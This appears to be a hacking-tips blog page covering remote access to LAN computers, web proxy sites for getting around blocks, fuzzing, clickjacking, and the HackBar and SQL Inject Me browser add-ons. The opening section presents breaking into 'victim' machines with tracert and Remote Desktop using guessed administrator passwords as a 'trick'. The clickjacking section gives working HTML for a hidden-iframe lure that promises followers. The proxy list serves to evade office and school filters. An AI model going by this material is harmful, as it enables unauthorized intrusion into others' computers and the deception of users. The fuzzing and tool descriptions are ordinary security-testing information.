Here you can get all the names of all the computers machine names which connect with your LAN.

Now you got the name.  Lets start hacking into the systems.

After you get server name now type tracert command for knowing IP of the victim machine.

Example: C:\> tracert xyz

Here you get the IP address of the XYZ computer machine.

Now go to windows start button and type Remote Desktop Connection
 

After click on Remote Desktop Connection you get below image..
 

Now type the IP address or computer name of victim machine.

Click on Connect <-|
It will also ask administrator password which is common as usual you known about.

After few second Victim machine shown in your Computer..
Now you can access that machine to open website, files, Software's, etc

Enjoy the trick..

WEB PROXY SITES:

am going to informing web proxy sites

www.meebo.com/

www.iloveim.com/

www.the-cloak.com/
  
www.cantblock.me

www.mb35.info

www.cloaking.me

www.proxybrowsing.com

www.behidden.com

www.yourfreedom.net

www.hujiko.com

www.anonymizer.ru

www.schoolproxylists.cn/

www.xysurfing.com/

www.googlefaker.com/

www.internetoxy.com/

Facebook Proxy

If Facebook are block in your offices, college and home then don't worry
Click at below link and access your FB Account.
EnjoY..!!

Facebook Proxy free

Fuzzing

Fuzzing is a software testing technique, often automated or semi-automated, that
involves providing invalid, unexpected, or random data to the inputs of a computer program. The program is then monitored for exceptions such as crashes, or failing built-in code assertions or for finding potential memory leaks. Fuzzing technique is commonly used to test for security problems in software or computer systems ans also used to discover coding errors and security loopholes in software, operating systems
or networks by inputting massive amounts of random data, called fuzz, to the system
 in an attempt to make it crash. If a vulnerability is found, a tool called a fuzz tester (or fuzzer), indicates potential causes.

There are two forms of fuzzing program; mutation-based and generation-based, which can be employed as white-, grey- or black-box testing. File formats and network protocols are the most common targets of testing, but any type of program input can
be fuzzed. Interesting inputs include environment variables, keyboard and mouse events, and sequences of API calls. Even items not normally considered "input" can be fuzzed, such as the contents of databases, shared memory, or the precise interleaving
of threads.

A fuzzer would try combinations of attacks on:

- numbers (signed/unsigned integers/float...)

- chars (urls, command-line inputs)

- metadata : user-input text (id3 tag)

- pure binary sequences

Fuzzing  best work for problems that can cause a program to crash, such as buffer overflow, cross-site scripting, denial of service attacks, format bugs and SQL injection. These schemes are often used by malicious hackers intent on wreaking the greatest possible amount of havoc in the least possible time. Fuzz testing is less effective for dealing with security threats that do not cause program crashes, such as spyware,
some viruses, worms, Trojans and keyloggers.

Source:
Wikipedia
TechTarget




Fuzzing Tools:

UniOFuzz 0.1.2-beta - Universal Fuzzing ToolUniOFuzz version 0.1.2-beta - the universal fuzzing tool for browsers, web services, files, programs and network services/ports released by nullsecurity team.

Download





Basic Fuzzing Framework (BFF) based on Linux & Mac OSX Fuzzer Tool
By CERT
The CERT Basic Fuzzing Framework (BFF) is a software testing tool that finds defects in applications that run on the Linux and Mac OS X platforms. BFF performs mutational fuzzing on software that consumes file input. (Mutational fuzzing is the act of taking well-formed input data and corrupting it in various ways, looking for cases that cause crashes.) The BFF automatically collects test cases that cause software to crash in unique ways, as well as debugging information associated with the crashes. The goal of BFF is to minimize the effort required for software vendors and security researchers to efficiently discover and analyze security vulnerabilities found via fuzzing.

Download

Clickjacking

What is Clickjacking:

Clickjacking attack allows to perform an action on victim website, Mostly Facebook and Twitter accounts are targetable.
when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the the top
level page. Thus, the attacker is "hijacking" clicks meant for their page and routing them to other another page, most likely owned by another application, domain, or both. It may be similar to CSRF Cross Site Request Forgeries Attack. 

Clickjacking is a term first introduced by Jeremiah Grossman and Robert Hansen in
2008 to describe a technique whereby an attacker tricks a user into performing certain actions on a website by hiding clickable elements inside an invisible iframe.

Using a similar technique, keystrokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they
are typing in the password to their email or bank account, but are instead typing into
an invisible frame controlled by the attacker.

At present this attack mostly use on social network websites like Facebook and twitter, Because this attack is used by convinced victim for click on the link and SocialNetwork website might be very useful for attack on victim.

One famous example of clickjacking is Facebook.

Code:

 <style>
 iframe { /* iframe from facebook.com */
  width:300px;
  height:100px;
  position:absolute;
  top:0; left:0;
  filter:alpha(opacity=50); /* in real life opacity=0 */
  opacity:0.5;
}
</style>

<div>Click on the link to get more followers:</div>
   
<iframe src="/files/tutorial/window/clicktarget.html"></iframe>

<a href="http://www.google.com" target="_blank" style="position:relative;left:20px;z-index:-1">CLICK ME!</a>

<div>You'll be get 10000 followers..!!</div>

Output:
Click on the link to get more followers
Click Me
You'll be get 10000 followers..!!


Download
ClickJacking Tool

For Defence:
Clickjacking Protection


For more information:
OWASP

HACKBAR: firefox add-on

 This toolbar will help you in testing sql injections, XSS holes and site security. It is NOT a tool for executing standard exploits and it will NOT teach you how to hack a site. Its main purpose is to help a developer do security audits on his code. If you know what your doing, this toolbar will help you do it faster. If you want to learn to find security holes, you can also use this toolbar, but you will probably also need a book, a lot of Google and a brain :)

# The advantages are:
- Even the most complicated urls will be readable
- The focus will stay on the textarea, so after executing the url (Ctrl+Enter) you can just go on typing / testing
- The url in textarea is not affected by redirects.
- I tend to use it as a notepad :)
- Useful tools like on the fly uu/url decoding etc.
- All functions work on the currently selected text.
- MD5/SHA1/SHA256 hashing
- MySQL/MS SQL Server/Oracle shortcuts
- XSS useful functions
- And lots more ;) Go test it!

# Shortcuts
- Load url ( Alt + A )
- Split url ( Alt + S )
- Execute ( Alt + X, Ctrl + Enter )
- INT -1 ( Alt - )
- INT +1 ( Alt + )
- HEX -1 ( Ctrl Alt - )
- HEX +1 ( Ctrl + Alt + )
- MD5 Hash ( Alt + M )
- MySQL CHAR() ( Alt + Y )
- MS SQL Server CHAR() ( Alt + Q )

Download Link:
https://addons.mozilla.org/en-US/firefox/addon/3899/

SQL INJECT ME: firefox add-on

SQL Injection vulnerabilites can cause a lot of damage to a web application. A malicious user can possibly view records, delete records, drop tables or gain access to your server. SQL Inject-Me is Firefox Extension used to test for SQL Injection vulnerabilities.
SQL Inject Me is the Exploit-Me tool used to test for SQL Injection vulnerabilities.

The tool works by submitting your HTML forms and substituting the form value with strings that are representative of an SQL Injection attack.
The tool works by sending database escape strings through the form fields. It then looks for database error messages that are output into the rendered HTML of the page.

The tool does not attempting to compromise the security of the given system. It looks for possible entry points for an attack against the system. There is no port scanning, packet sniffing, password hacking or firewall attacks done by the tool.

Download Link:
https://addons.mozilla.org/en-US/firefox/addon/7597/